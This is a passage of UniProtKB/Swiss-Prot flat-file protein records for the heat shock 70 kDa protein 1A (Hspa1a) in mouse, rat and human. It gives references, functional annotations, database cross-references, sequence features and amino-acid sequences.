SQ SEQUENCE 641 AA; 70052 MW; 78F513118C96DE66 CRC64;
MAKAAAIGID LGTTYSCVGV FQHGKVEIIA NDQGNRTTPS YVAFTDTERL IGDAAKNQVA
LNPQNTVFDA KRLIGRKFGD PVVQSDMKHW PFQVINDGDK PKVQVSYKGE TKAFYPEEIS
SMVLTKMKEI AEAYLGYPVT NAVITVPAYF NDSQRQATKD AGVIAGLNVL RIINEPTAAA
IAYGLDRTGK GERNVLIFDL GGGTFDVSIL TIDDGIFEVK ATAGDTHLGG EDFDNRLVNH
FVEEFKRKHK KDISQNKRAV RRLRTACERA KRTLSSSTQA SLEIDSLFEG IDFYTSITRA
RFEELCSDLF RSTLEPVEKA LRDAKLDKAQ IHDLVLVGGS TRIPKVQKLL QDFFNGRDLN
KSINPDEAVA YGAAVQAAIL MGDKSENVQD LLLLDVAPLS LGLETAGGVM TALIKRNSTI
PTKQTQIFTT YSDNQPGVLI QVYEGERAMT KDNNLLGRFE LSGIPPAPRG VPQIEVTFDI
DANGILNVTA TDKSTGKANK ITITNDKGRL SKEEIERMVQ EAEKYKAEDE VQRERVSAKN
ALESYAFNMK SAVEDEGLKG KISEADKKKV LDKCQEVISW LDANTLAEKD EFEHKRKELE
QVCNPIISGL YQGAGGPGPG GFGAQGPKGG SGSGPTIEEV D
//
ID HS71A_MOUSE Reviewed; 641 AA.
AC Q61696; Q61697; Q7TQD8; Q9QWJ5;
DT 01-NOV-1997, integrated into UniProtKB/Swiss-Prot.
DT 21-DEC-2004, sequence version 2.
DT 07-SEP-2016, entry version 137.
DE RecName: Full=Heat shock 70 kDa protein 1A;
DE AltName: Full=Heat shock 70 kDa protein 3;
DE Short=HSP70.3;
DE AltName: Full=Hsp68;
GN Name=Hspa1a; Synonyms=Hsp70-3, Hsp70A1;
OS Mus musculus (Mouse).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Glires; Rodentia; Sciurognathi;
OC Muroidea; Muridae; Murinae; Mus; Mus.
OX NCBI_TaxID=10090;
RN [1]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA / MRNA].
RC TISSUE=Liver;
RX PubMed=8076831; DOI=10.1016/0378-1119(94)90305-0;
RA Perry M.D., Aujame L., Shtang S., Moran L.A.;
RT "Structure and expression of an inducible HSP70-encoding gene from Mus
RT musculus.";
RL Gene 146:273-278(1994).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=129;
RX PubMed=14656967; DOI=10.1101/gr.1736803;
RA Xie T., Rowen L., Aguado B., Ahearn M.E., Madan A., Qin S.,
RA Campbell R.D., Hood L.;
RT "Analysis of the gene-dense major histocompatibility complex class III
RT region and its comparison to mouse.";
RL Genome Res. 13:2621-2636(2003).
RN [3]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA].
RC STRAIN=C57BL/6J; TISSUE=Brain;
RX PubMed=15489334; DOI=10.1101/gr.2596504;
RG The MGC Project Team;
RT "The status, quality, and expansion of the NIH full-length cDNA
RT project: the Mammalian Gene Collection (MGC).";
RL Genome Res. 14:2121-2127(2004).
RN [4]
RP PROTEIN SEQUENCE OF 26-49 AND 103-112, AND IDENTIFICATION BY MASS
RP SPECTROMETRY.
RC STRAIN=C57BL/6J; TISSUE=Brain;
RA Lubec G., Kang S.U.;
RL Submitted (APR-2007) to UniProtKB.
RN [5]
RP NUCLEOTIDE SEQUENCE [MRNA] OF 221-641.
RX PubMed=2868009;
RA Lowe D.G., Moran L.A.;
RT "Molecular cloning and analysis of DNA complementary to three mouse Mr
RT = 68,000 heat shock protein mRNAs.";
RL J. Biol. Chem. 261:2102-2112(1986).
RN [6]
RP INTERACTION WITH DNAAF2.
RX PubMed=19052621; DOI=10.1038/nature07471;
RA Omran H., Kobayashi D., Olbrich H., Tsukahara T., Loges N.T.,
RA Hagiwara H., Zhang Q., Leblond G., O'Toole E., Hara C., Mizuno H.,
RA Kawano H., Fliegauf M., Yagi T., Koshida S., Miyawaki A., Zentgraf H.,
RA Seithe H., Reinhardt R., Watanabe Y., Kamiya R., Mitchell D.R.,
RA Takeda H.;
RT "Ktu/PF13 is required for cytoplasmic pre-assembly of axonemal
RT dyneins.";
RL Nature 456:611-616(2008).
RN [7]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-604, AND IDENTIFICATION
RP BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Brain, Kidney, Lung, and Testis;
RX PubMed=21183079; DOI=10.1016/j.cell.2010.12.001;
RA Huttlin E.L., Jedrychowski M.P., Elias J.E., Goswami T., Rad R.,
RA Beausoleil S.A., Villen J., Haas W., Sowa M.E., Gygi S.P.;
RT "A tissue-specific atlas of mouse protein phosphorylation and
RT expression.";
RL Cell 143:1174-1189(2010).
RN [8]
RP INTERACTION WITH FOXP3.
RX PubMed=23973223; DOI=10.1016/j.immuni.2013.08.006;
RA Chen Z., Barbi J., Bu S., Yang H.Y., Li Z., Gao Y., Jinasena D.,
RA Fu J., Lin F., Chen C., Zhang J., Yu N., Li X., Shan Z., Nie J.,
RA Gao Z., Tian H., Li Y., Yao Z., Zheng Y., Park B.V., Pan Z., Zhang J.,
RA Dang E., Li Z., Wang H., Luo W., Li L., Semenza G.L., Zheng S.G.,
RA Loser K., Tsun A., Greene M.I., Pardoll D.M., Pan F., Li B.;
RT "The ubiquitin ligase Stub1 negatively modulates regulatory T cell
RT suppressive activity by promoting degradation of the transcription
RT factor Foxp3.";
RL Immunity 39:272-285(2013).
CC -!- FUNCTION: In cooperation with other chaperones, Hsp70s stabilize
CC preexistent proteins against aggregation and mediate the folding
CC of newly translated polypeptides in the cytosol as well as within
CC organelles. These chaperones participate in all these processes
CC through their ability to recognize nonnative conformations of
CC other proteins. They bind extended peptide segments with a net
CC hydrophobic character exposed by polypeptides during translation
CC and membrane translocation, or following stress-induced damage.
CC Essential for STUB1-mediated ubiquitination and degradation of
CC FOXP3 in regulatory T-cells (Treg) during inflammation.
CC {ECO:0000250|UniProtKB:P08107}.
CC -!- SUBUNIT: Component of the CatSper complex (By similarity).
CC Identified in a IGF2BP1-dependent mRNP granule complex containing
CC untranslated mRNAs (By similarity). Interacts with CHCHD3, DNAJC7,
CC IRAK1BP1, PPP5C and TSC2 (By similarity). Interacts with TERT; the
CC interaction occurs in the absence of the RNA component, TERC, and
CC dissociates once the TERT complex has formed (By similarity).
CC Interacts with METTL21A (By similarity). Interacts with DNAAF2
CC (PubMed:19052621). Interacts with TRIM5 (via B30.2/SPRY domain)
CC (By similarity). Interacts with PARK2 (By similarity). Interacts
CC with FOXP3 (PubMed:23973223). Interacts with NOD2; the interaction
CC enhances NOD2 stability (By similarity). Interacts with DNAJC9
CC (via J domain) (By similarity). Interacts with ATF5; the
CC interaction protects ATF5 from degradation via proteasome-
CC dependent and caspase-dependent processes (By similarity).
CC Interacts with RNF207 (via the C-terminus); this interaction
CC additively increases KCNH2 expression (By similarity).
CC {ECO:0000250|UniProtKB:P08107, ECO:0000250|UniProtKB:P0DMV8,
CC ECO:0000269|PubMed:19052621, ECO:0000269|PubMed:23973223}.
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000250}. Note=Localized in
CC cytoplasmic mRNP granules containing untranslated mRNAs.
CC {ECO:0000250}.
CC -!- SIMILARITY: Belongs to the heat shock protein 70 family.
CC {ECO:0000305}.
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DR EMBL; M76613; AAA57233.1; -; Genomic_DNA.
DR EMBL; AF109906; AAC84169.1; -; Genomic_DNA.
DR EMBL; BC054782; AAH54782.1; -; mRNA.
DR EMBL; M12571; AAA57234.1; -; mRNA.
DR EMBL; M12572; AAA57235.1; -; mRNA.
DR CCDS; CCDS50080.1; -.
DR PIR; A26283; A26283.
DR RefSeq; NP_034609.2; NM_010479.2.
DR UniGene; Mm.6388; -.
DR ProteinModelPortal; Q61696; -.
DR SMR; Q61696; 1-613.
DR BioGrid; 228756; 1.
DR IntAct; Q61696; 3.
DR MINT; MINT-1866478; -.
DR STRING; 10090.ENSMUSP00000084586; -.
DR iPTMnet; Q61696; -.
DR PhosphoSite; Q61696; -.
DR REPRODUCTION-2DPAGE; Q61696; -.
DR EPD; Q61696; -.
DR MaxQB; Q61696; -.
DR PaxDb; Q61696; -.
DR PRIDE; Q61696; -.
DR Ensembl; ENSMUST00000087328; ENSMUSP00000084586; ENSMUSG00000091971.
DR GeneID; 193740; -.
DR KEGG; mmu:193740; -.
DR UCSC; uc008cep.1; mouse.
DR CTD; 3303; -.
DR MGI; MGI:96244; Hspa1a.
DR eggNOG; KOG0101; Eukaryota.
DR eggNOG; COG0443; LUCA.
DR GeneTree; ENSGT00840000130013; -.
DR HOGENOM; HOG000228135; -.
DR HOVERGEN; HBG051845; -.
DR InParanoid; Q61696; -.
DR KO; K03283; -.
DR OMA; KTQIHDI; -.
DR OrthoDB; EOG091G03SF; -.
DR PhylomeDB; Q61696; -.
DR TreeFam; TF105042; -.
DR Reactome; R-MMU-3371453; Regulation of HSF1-mediated heat shock response.
DR Reactome; R-MMU-3371568; Attenuation phase.
DR Reactome; R-MMU-3371571; HSF1-dependent transactivation.
DR Reactome; R-MMU-450408; AUF1 (hnRNP D0) binds and destabilizes mRNA.
DR PRO; PR:Q61696; -.
DR Proteomes; UP000000589; Chromosome 17.
DR Bgee; ENSMUSG00000091971; -.
DR CleanEx; MM_HSPA1A; -.
DR ExpressionAtlas; Q61696; baseline and differential.
DR Genevisible; Q61696; MM.
DR GO; GO:0072562; C:blood microparticle; ISO:MGI.
DR GO; GO:0005814; C:centriole; ISO:MGI.
DR GO; GO:0005737; C:cytoplasm; ISS:UniProtKB.
DR GO; GO:0005829; C:cytosol; ISO:MGI.
DR GO; GO:0005925; C:focal adhesion; ISO:MGI.
DR GO; GO:0016234; C:inclusion body; ISO:MGI.
DR GO; GO:0005739; C:mitochondrion; ISS:MGI.
DR GO; GO:0016607; C:nuclear speck; ISS:UniProtKB.
DR GO; GO:0005634; C:nucleus; ISS:UniProtKB.
DR GO; GO:0048471; C:perinuclear region of cytoplasm; ISS:UniProtKB.
DR GO; GO:0000151; C:ubiquitin ligase complex; IEA:Ensembl.
DR GO; GO:0005524; F:ATP binding; ISO:MGI.
DR GO; GO:0016887; F:ATPase activity; ISO:MGI.
DR GO; GO:0042623; F:ATPase activity, coupled; ISO:MGI.
DR GO; GO:0055131; F:C3HC4-type RING finger domain binding; ISO:MGI.
DR GO; GO:0019899; F:enzyme binding; ISO:MGI.
DR GO; GO:0001664; F:G-protein coupled receptor binding; ISO:MGI.
DR GO; GO:0031072; F:heat shock protein binding; ISO:MGI.
DR GO; GO:0042826; F:histone deacetylase binding; ISO:MGI.
DR GO; GO:0044183; F:protein binding involved in protein folding; ISO:MGI.
DR GO; GO:0005102; F:receptor binding; ISO:MGI.
DR GO; GO:0031625; F:ubiquitin protein ligase binding; ISO:MGI.
DR GO; GO:0051082; F:unfolded protein binding; ISO:MGI.
DR GO; GO:0046034; P:ATP metabolic process; IEA:Ensembl.
DR GO; GO:0070370; P:cellular heat acclimation; IEA:Ensembl.
DR GO; GO:0006281; P:DNA repair; IMP:MGI.
DR GO; GO:0006402; P:mRNA catabolic process; ISS:UniProtKB.
DR GO; GO:0030308; P:negative regulation of cell growth; ISS:UniProtKB.
DR GO; GO:0008285; P:negative regulation of cell proliferation; ISS:UniProtKB.
DR GO; GO:1902236; P:negative regulation of endoplasmic reticulum stress-induced intrinsic apoptotic signaling pathway; IEA:Ensembl.
DR GO; GO:2001240; P:negative regulation of extrinsic apoptotic signaling pathway in absence of ligand; IEA:Ensembl.
DR GO; GO:0090084; P:negative regulation of inclusion body assembly; IEA:Ensembl.
DR GO; GO:1901029; P:negative regulation of mitochondrial outer membrane permeabilization involved in apoptotic signaling pathway; IEA:Ensembl.
DR GO; GO:0031397; P:negative regulation of protein ubiquitination; IEA:Ensembl.
DR GO; GO:1902380; P:positive regulation of endoribonuclease activity; IEA:Ensembl.
DR GO; GO:0032757; P:positive regulation of interleukin-8 production; IEA:Ensembl.
DR GO; GO:1904722; P:positive regulation of mRNA endonucleolytic cleavage involved in unfolded protein response; IEA:Ensembl.
DR GO; GO:0051092; P:positive regulation of NF-kappaB transcription factor activity; IEA:Ensembl.
DR GO; GO:0070434; P:positive regulation of nucleotide-binding oligomerization domain containing 2 signaling pathway; IEA:Ensembl.
DR GO; GO:1903265; P:positive regulation of tumor necrosis factor-mediated signaling pathway; IEA:Ensembl.
DR GO; GO:0042026; P:protein refolding; IEA:Ensembl.
DR GO; GO:0050821; P:protein stabilization; IEA:Ensembl.
DR GO; GO:0009408; P:response to heat; IDA:MGI.
DR GO; GO:0006986; P:response to unfolded protein; ISS:UniProtKB.
DR GO; GO:0000723; P:telomere maintenance; IMP:MGI.
DR Gene3D; 1.20.1270.10; -; 1.
DR Gene3D; 2.60.34.10; -; 1.
DR InterPro; IPR018181; Heat_shock_70_CS.
DR InterPro; IPR029048; HSP70_C.
DR InterPro; IPR029047; HSP70_peptide-bd.
DR InterPro; IPR013126; Hsp_70_fam.
DR Pfam; PF00012; HSP70; 1.
DR PRINTS; PR00301; HEATSHOCK70.
DR SUPFAM; SSF100920; SSF100920; 1.
DR SUPFAM; SSF100934; SSF100934; 1.
DR PROSITE; PS00297; HSP70_1; 1.
DR PROSITE; PS00329; HSP70_2; 1.
DR PROSITE; PS01036; HSP70_3; 1.
PE 1: Evidence at protein level;
KW Acetylation; ATP-binding; Chaperone; Complete proteome; Cytoplasm;
KW Direct protein sequencing; Methylation; Nucleotide-binding;
KW Phosphoprotein; Reference proteome; Stress response.
FT INIT_MET 1 1 Removed. {ECO:0000250|UniProtKB:P0DMV8}.
FT CHAIN 2 641 Heat shock 70 kDa protein 1A.
FT /FTId=PRO_0000078250.
FT NP_BIND 12 15 ATP. {ECO:0000250}.
FT NP_BIND 202 204 ATP. {ECO:0000250}.
FT NP_BIND 268 275 ATP. {ECO:0000250}.
FT NP_BIND 339 342 ATP. {ECO:0000250}.
FT BINDING 71 71 ATP. {ECO:0000250}.
FT MOD_RES 2 2 N-acetylalanine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 108 108 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 246 246 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 348 348 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 561 561 N6,N6,N6-trimethyllysine; by METTL21A.
FT {ECO:0000250}.
FT MOD_RES 604 604 Phosphoserine.
FT {ECO:0000244|PubMed:21183079}.
FT MOD_RES 631 631 Phosphoserine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 633 633 Phosphoserine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 636 636 Phosphothreonine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT CONFLICT 221 225 ATAGD -> TDGRT (in Ref. 5; AAA57234).
FT {ECO:0000305}.
FT CONFLICT 229 229 G -> E (in Ref. 5; AAA57234).
FT {ECO:0000305}.
FT CONFLICT 233 233 F -> V (in Ref. 5; AAA57234).
FT {ECO:0000305}.
FT CONFLICT 238 244 VSHFVEE -> EDLREQ (in Ref. 5; AAA57234).
FT {ECO:0000305}.
FT CONFLICT 295 295 T -> R (in Ref. 5; AAA57234).
FT {ECO:0000305}.
FT CONFLICT 332 332 H -> Q (in Ref. 5; AAA57234).
FT {ECO:0000305}.
FT CONFLICT 342 342 R -> A (in Ref. 1; AAA57233).
FT {ECO:0000305}.
FT CONFLICT 409 409 V -> G (in Ref. 5; AAA57235).
FT {ECO:0000305}.
FT CONFLICT 413 416 LIKR -> RHQA (in Ref. 5; AAA57234/
FT AAA57235). {ECO:0000305}.
FT CONFLICT 494 494 S -> T (in Ref. 3; AAH54782).
FT {ECO:0000305}.
SQ SEQUENCE 641 AA; 70079 MW; F49C33E602EAE334 CRC64;
MAKNTAIGID LGTTYSCVGV FQHGKVEIIA NDQGNRTTPS YVAFTDTERL IGDAAKNQVA
LNPQNTVFDA KRLIGRKFGD AVVQSDMKHW PFQVVNDGDK PKVQVNYKGE SRSFFPEEIS
SMVLTKMKEI AEAYLGHPVT NAVITVPAYF NDSQRQATKD AGVIAGLNVL RIINEPTAAA
IAYGLDRTGK GERNVLIFDL GGGTFDVSIL TIDDGIFEVK ATAGDTHLGG EDFDNRLVSH
FVEEFKRKHK KDISQNKRAV RRLRTACERA KRTLSSSTQA SLEIDSLFEG IDFYTSITRA
RFEELCSDLF RGTLEPVEKA LRDAKMDKAQ IHDLVLVGGS TRIPKVQKLL QDFFNGRDLN
KSINPDEAVA YGAAVQAAIL MGDKSENVQD LLLLDVAPLS LGLETAGGVM TALIKRNSTI
PTKQTQTFTT YSDNQPGVLI QVYEGERAMT RDNNLLGRFE LSGIPPAPRG VPQIEVTFDI
DANGILNVTA TDKSTGKANK ITITNDKGRL SKEEIERMVQ EAERYKAEDE VQRDRVAAKN
ALESYAFNMK SAVEDEGLKG KLSEADKKKV LDKCQEVISW LDSNTLADKE EFVHKREELE
RVCSPIISGL YQGAGAPGAG GFGAQAPKGA SGSGPTIEEV D
//
ID HS71A_RAT Reviewed; 641 AA.
AC P0DMW0; P42853; Q07439; Q63256;
DT 27-MAY-2015, integrated into UniProtKB/Swiss-Prot.
DT 27-MAY-2015, sequence version 1.
DT 07-SEP-2016, entry version 13.
DE RecName: Full=Heat shock 70 kDa protein 1A;
DE AltName: Full=Heat shock 70 kDa protein 2;
DE Short=HSP70-2;
DE Short=HSP70.2;
GN Name=Hspa1a; Synonyms=Hsp70-1, Hspa1;
OS Rattus norvegicus (Rat).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Glires; Rodentia; Sciurognathi;
OC Muroidea; Muridae; Murinae; Rattus.
OX NCBI_TaxID=10116;
RN [1]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RC STRAIN=LEW.1W/GUN;
RX PubMed=7927536; DOI=10.1007/BF01246673;
RA Walter L., Rauh F., Guenther E.;
RT "Comparative analysis of the three major histocompatibility complex-
RT linked heat shock protein 70 (Hsp70) genes of the rat.";
RL Immunogenetics 40:325-330(1994).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=Brown Norway;
RX PubMed=15060004; DOI=10.1101/gr.1987704;
RA Hurt P., Walter L., Sudbrak R., Klages S., Mueller I., Shiina T.,
RA Inoko H., Lehrach H., Guenther E., Reinhardt R., Himmelbauer H.;
RT "The genomic sequence and comparative analysis of the rat major
RT histocompatibility complex.";
RL Genome Res. 14:631-639(2004).
CC -!- FUNCTION: In cooperation with other chaperones, Hsp70s stabilize
CC preexistent proteins against aggregation and mediate the folding
CC of newly translated polypeptides in the cytosol as well as within
CC organelles. These chaperones participate in all these processes
CC through their ability to recognize nonnative conformations of
CC other proteins. They bind extended peptide segments with a net
CC hydrophobic character exposed by polypeptides during translation
CC and membrane translocation, or following stress-induced damage.
CC Essential for STUB1-mediated ubiquitination and degradation of
CC FOXP3 in regulatory T-cells (Treg) during inflammation.
CC {ECO:0000250|UniProtKB:P08107}.
CC -!- SUBUNIT: Component of the CatSper complex. Identified in a
CC IGF2BP1-dependent mRNP granule complex containing untranslated
CC mRNAs. Interacts with CHCHD3, DNAJC7, IRAK1BP1, PPP5C and TSC2.
CC Interacts with TERT; the interaction occurs in the absence of the
CC RNA component, TERC, and dissociates once the TERT complex has
CC formed. Interacts with METTL21A. Interacts with DNAAF2. Interacts
CC with TRIM5 (via B30.2/SPRY domain). Interacts with PARK2.
CC Interacts with FOXP3. Interacts with NOD2; the interaction
CC enhances NOD2 stability. Interacts with DNAJC9 (via J domain).
CC Interacts with ATF5; the interaction protects ATF5 from
CC degradation via proteasome-dependent and caspase-dependent
CC processes (By similarity). Interacts with RNF207 (via the C-
CC terminus); this interaction additively increases KCNH2 expression
CC (By similarity). {ECO:0000250|UniProtKB:P08107,
CC ECO:0000250|UniProtKB:P0DMV8, ECO:0000250|UniProtKB:Q61696}.
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000250}. Note=Localized in
CC cytoplasmic mRNP granules containing untranslated mRNAs.
CC {ECO:0000250}.
CC -!- INDUCTION: By heat shock.
CC -!- SIMILARITY: Belongs to the heat shock protein 70 family.
CC {ECO:0000305}.
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DR EMBL; X77208; CAA54423.1; -; Genomic_DNA.
DR EMBL; BX883045; CAE83978.1; -; Genomic_DNA.
DR PIR; I54542; I54542.
DR RefSeq; NP_114177.2; NM_031971.2.
DR RefSeq; NP_997669.1; NM_212504.1.
DR UniGene; Rn.1950; -.
DR UniGene; Rn.228581; -.
DR ProteinModelPortal; P0DMW0; -.
DR SMR; P0DMW0; 1-619.
DR MINT; MINT-240978; -.
DR Ensembl; ENSRNOT00000049667; ENSRNOP00000050605; ENSRNOG00000045654.
DR Ensembl; ENSRNOT00000061950; ENSRNOP00000067749; ENSRNOG00000045654.
DR Ensembl; ENSRNOT00000081924; ENSRNOP00000075599; ENSRNOG00000050647.
DR GeneID; 24472; -.
DR GeneID; 294254; -.
DR KEGG; rno:24472; -.
DR KEGG; rno:294254; -.
DR CTD; 3303; -.
DR CTD; 3304; -.
DR RGD; 1593284; Hspa1a.
DR HOGENOM; HOG000228135; -.
DR HOVERGEN; HBG051845; -.
DR KO; K03283; -.
DR PhylomeDB; P0DMW0; -.
DR Reactome; R-RNO-3371453; Regulation of HSF1-mediated heat shock response.
DR Reactome; R-RNO-3371568; Attenuation phase.
DR Reactome; R-RNO-3371571; HSF1-dependent transactivation.
DR Reactome; R-RNO-450408; AUF1 (hnRNP D0) binds and destabilizes mRNA.
DR PRO; PR:P0DMW0; -.
DR Proteomes; UP000002494; Chromosome 20.
DR ExpressionAtlas; P0DMW0; baseline and differential.
DR GO; GO:0005737; C:cytoplasm; IEA:UniProtKB-SubCell.
DR GO; GO:0005524; F:ATP binding; IEA:UniProtKB-KW.
DR GO; GO:0060548; P:negative regulation of cell death; IDA:RGD.
DR GO; GO:0030182; P:neuron differentiation; IEP:RGD.
DR GO; GO:0045666; P:positive regulation of neuron differentiation; IMP:RGD.
DR GO; GO:0045471; P:response to ethanol; IEP:RGD.
DR GO; GO:0002931; P:response to ischemia; IEP:RGD.
DR GO; GO:0009612; P:response to mechanical stimulus; IEP:RGD.
DR GO; GO:0009314; P:response to radiation; IEP:RGD.
DR GO; GO:0006986; P:response to unfolded protein; IMP:RGD.
DR Gene3D; 1.20.1270.10; -; 1.
DR Gene3D; 2.60.34.10; -; 1.
DR InterPro; IPR018181; Heat_shock_70_CS.
DR InterPro; IPR029048; HSP70_C.
DR InterPro; IPR029047; HSP70_peptide-bd.
DR InterPro; IPR013126; Hsp_70_fam.
DR Pfam; PF00012; HSP70; 1.
DR PRINTS; PR00301; HEATSHOCK70.
DR SUPFAM; SSF100920; SSF100920; 1.
DR SUPFAM; SSF100934; SSF100934; 1.
DR PROSITE; PS00297; HSP70_1; 1.
DR PROSITE; PS00329; HSP70_2; 1.
DR PROSITE; PS01036; HSP70_3; 1.
PE 2: Evidence at transcript level;
KW Acetylation; ATP-binding; Chaperone; Complete proteome; Cytoplasm;
KW Methylation; Nucleotide-binding; Phosphoprotein; Reference proteome;
KW Stress response.
FT INIT_MET 1 1 Removed. {ECO:0000250|UniProtKB:P0DMV8}.
FT CHAIN 2 641 Heat shock 70 kDa protein 1A.
FT /FTId=PRO_0000078254.
FT NP_BIND 12 15 ATP. {ECO:0000250}.
FT NP_BIND 202 204 ATP. {ECO:0000250}.
FT NP_BIND 268 275 ATP. {ECO:0000250}.
FT NP_BIND 339 342 ATP. {ECO:0000250}.
FT BINDING 71 71 ATP. {ECO:0000250}.
FT MOD_RES 2 2 N-acetylalanine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 108 108 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 246 246 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 348 348 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 561 561 N6,N6,N6-trimethyllysine; by METTL21A.
FT {ECO:0000250}.
FT MOD_RES 631 631 Phosphoserine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 633 633 Phosphoserine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 636 636 Phosphothreonine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
SQ SEQUENCE 641 AA; 70185 MW; 2D745B1013F64E7B CRC64;
MAKKTAIGID LGTTYSCVGV FQHGKVEIIA NDQGNRTTPS YVAFTDTERL IGDAAKNQVA
LNPQNTVFDA KRLIGRKFGD PVVQSDMKHW PFQVVNDGDK PKVQVNYKGE NRSFYPEEIS
SMVLTKMKEI AEAYLGHPVT NAVITVPAYF NDSQRQATKD AGVIAGLNVL RIINEPTAAA
IAYGLDRTGK GERNVLIFDL GGGTFDVSIL TIDDGIFEVK ATAGDTHLGG EDFDNRLVSH
FVEEFKRKHK KDISQNKRAV RRLRTACERA KRTLSSSTQA SLEIDSLFEG IDFYTSITRA
RFEELCSDLF RGTLEPVEKA LRDAKLDKAQ IHDLVLVGGS TRIPKVQKLL QDFFNGRDLN
KSINPDEAVA YGAAVQAAIL MGDKSENVQD LLLLDVAPLS LGLETAGGVM TALIKRNSTI
PTKQTQTFTT YSDNQPGVLI QVYEGERAMT RDNNLLGRFE LSGIPPAPRG VPQIEVTFDI
DANGILNVTA TDKSTGKANK ITITNDKGRL SKEEIERMVQ EAERYKAEDE VQRERVAAKN
ALESYAFNMK SAVEDEGLKG KISEADKKKV LDKCQEVISW LDSNTLAEKE EFVHKREELE
RVCNPIISGL YQGAGAPGAG GFGAQAPKGG SGSGPTIEEV D
//
ID HS71A_HUMAN Reviewed; 641 AA.
AC P0DMV8; B4E3B6; P08107; P19790; Q5JQI4; Q5SP17; Q9UQL9; Q9UQM0;
DT 27-MAY-2015, integrated into UniProtKB/Swiss-Prot.
DT 27-MAY-2015, sequence version 1.
DT 07-SEP-2016, entry version 15.
DE RecName: Full=Heat shock 70 kDa protein 1A {ECO:0000312|HGNC:HGNC:5232};
DE AltName: Full=Heat shock 70 kDa protein 1;
DE Short=HSP70-1 {ECO:0000303|PubMed:14656967, ECO:0000303|PubMed:2538825};
DE Short=HSP70.1;
GN Name=HSPA1A; Synonyms=HSPA1, HSX70;
OS Homo sapiens (Human).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Primates; Haplorrhini;
OC Catarrhini; Hominidae; Homo.
OX NCBI_TaxID=9606;
RN [1]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA], AND ALTERNATIVE SPLICING (ISOFORM
RP 1).
RX PubMed=3931075; DOI=10.1073/pnas.82.19.6455;
RA Hunt C., Morimoto R.I.;
RT "Conserved features of eukaryotic hsp70 genes revealed by comparison
RT with the nucleotide sequence of human hsp70.";
RL Proc. Natl. Acad. Sci. U.S.A. 82:6455-6459(1985).
RN [2]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA], AND ALTERNATIVE SPLICING (ISOFORM
RP 1).
RX PubMed=1700760; DOI=10.1007/BF00187095;
RA Milner C.M., Campbell R.D.;
RT "Structure and expression of the three MHC-linked HSP70 genes.";
RL Immunogenetics 32:242-251(1990).
RN [3]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA], AND ALTERNATIVE
RP SPLICING (ISOFORM 1).
RA Shiina S., Tamiya G., Oka A., Inoko H.;
RT "Homo sapiens 2,229,817bp genomic DNA of 6p21.3 HLA class I region.";
RL Submitted (SEP-1999) to the EMBL/GenBank/DDBJ databases.
RN [4]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA], VARIANT ASP-110, AND
RP ALTERNATIVE SPLICING (ISOFORM 1).
RX PubMed=14656967; DOI=10.1101/gr.1736803;
RA Xie T., Rowen L., Aguado B., Ahearn M.E., Madan A., Qin S.,
RA Campbell R.D., Hood L.;
RT "Analysis of the gene-dense major histocompatibility complex class III
RT region and its comparison to mouse.";
RL Genome Res. 13:2621-2636(2003).
RN [5]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] (ISOFORM 2).
RC TISSUE=Uterus;
RX PubMed=14702039; DOI=10.1038/ng1285;
RA Ota T., Suzuki Y., Nishikawa T., Otsuki T., Sugiyama T., Irie R.,
RA Wakamatsu A., Hayashi K., Sato H., Nagai K., Kimura K., Makita H.,
RA Sekine M., Obayashi M., Nishi T., Shibahara T., Tanaka T., Ishii S.,
RA Yamamoto J., Saito K., Kawai Y., Isono Y., Nakamura Y., Nagahari K.,
RA Murakami K., Yasuda T., Iwayanagi T., Wagatsuma M., Shiratori A.,
RA Sudo H., Hosoiri T., Kaku Y., Kodaira H., Kondo H., Sugawara M.,
RA Takahashi M., Kanda K., Yokoi T., Furuya T., Kikkawa E., Omura Y.,
RA Abe K., Kamihara K., Katsuta N., Sato K., Tanikawa M., Yamazaki M.,
RA Ninomiya K., Ishibashi T., Yamashita H., Murakawa K., Fujimori K.,
RA Tanai H., Kimata M., Watanabe M., Hiraoka S., Chiba Y., Ishida S.,
RA Ono Y., Takiguchi S., Watanabe S., Yosida M., Hotuta T., Kusano J.,
RA Kanehori K., Takahashi-Fujii A., Hara H., Tanase T.-O., Nomura Y.,
RA Togiya S., Komai F., Hara R., Takeuchi K., Arita M., Imose N.,
